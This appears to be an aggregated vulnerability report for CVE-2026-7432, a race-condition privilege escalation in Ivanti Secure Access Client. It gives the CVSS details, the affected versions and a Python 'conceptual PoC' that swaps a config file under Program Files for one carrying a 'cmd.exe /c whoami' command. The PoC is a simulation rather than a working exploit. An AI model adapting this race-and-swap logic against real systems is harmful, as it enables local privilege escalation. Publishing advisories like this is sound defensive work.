Security Vulnerability Report
中文
CVE-2026-7432 CVSS 7.8 HIGH

CVE-2026-7432

Published: 2026-05-12 15:16:17
Last Modified: 2026-05-12 19:53:00
Source: 3c1d8aa1-5a33-4ea4-8992-aadd6440af75

Description

A race condition in Ivanti Secure Access Client before 22.8R6 allows a locally authenticated user to escalate privileges to SYSTEM

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ivanti:secure_access_client:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ivanti:secure_access_client:22.8:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ivanti:secure_access_client:22.8:r1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ivanti:secure_access_client:22.8:r2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ivanti:secure_access_client:22.8:r3:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Ivanti Secure Access Client < 22.8R6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# This is a conceptual PoC for a Race Condition Privilege Escalation # It does not target specific files but demonstrates the logic. import threading import time import os # Simulating the vulnerable component's check and use def vulnerable_process(): print("[Target] Checking resource...") # TOCTOU Window exists here time.sleep(0.1) print("[Target] Using resource...") # In a real scenario, this would execute the file or load the DLL # If the attacker swapped it here, malicious code runs as SYSTEM if os.path.exists("C:\\Program Files\\Ivanti\\config.ini"): with open("C:\\Program Files\\Ivanti\\config.ini", "r") as f: print(f"[Target] Content: {f.read()}") def attacker_thread(): print("[Attacker] Waiting for check...") # Synchronization logic to hit the race window time.sleep(0.05) print("[Attacker] Swapping file...") # Simulate replacing the file with a malicious one with open("C:\\Program Files\\Ivanti\\config.ini", "w") as f: f.write("[Malicious Config] Command = cmd.exe /c whoami") print("[Attacker] Swap complete.") # Setup initial state os.makedirs("C:\\Program Files\\Ivanti\\", exist_ok=True) with open("C:\\Program Files\\Ivanti\\config.ini", "w") as f: f.write("[Normal Config]") # Create threads to simulate race condition t1 = threading.Thread(target=vulnerable_process) t2 = threading.Thread(target=attacker_thread) t2.start() t1.start() t1.join() t2.join() print("PoC execution finished.")

References

Raw JSON Data

JSON
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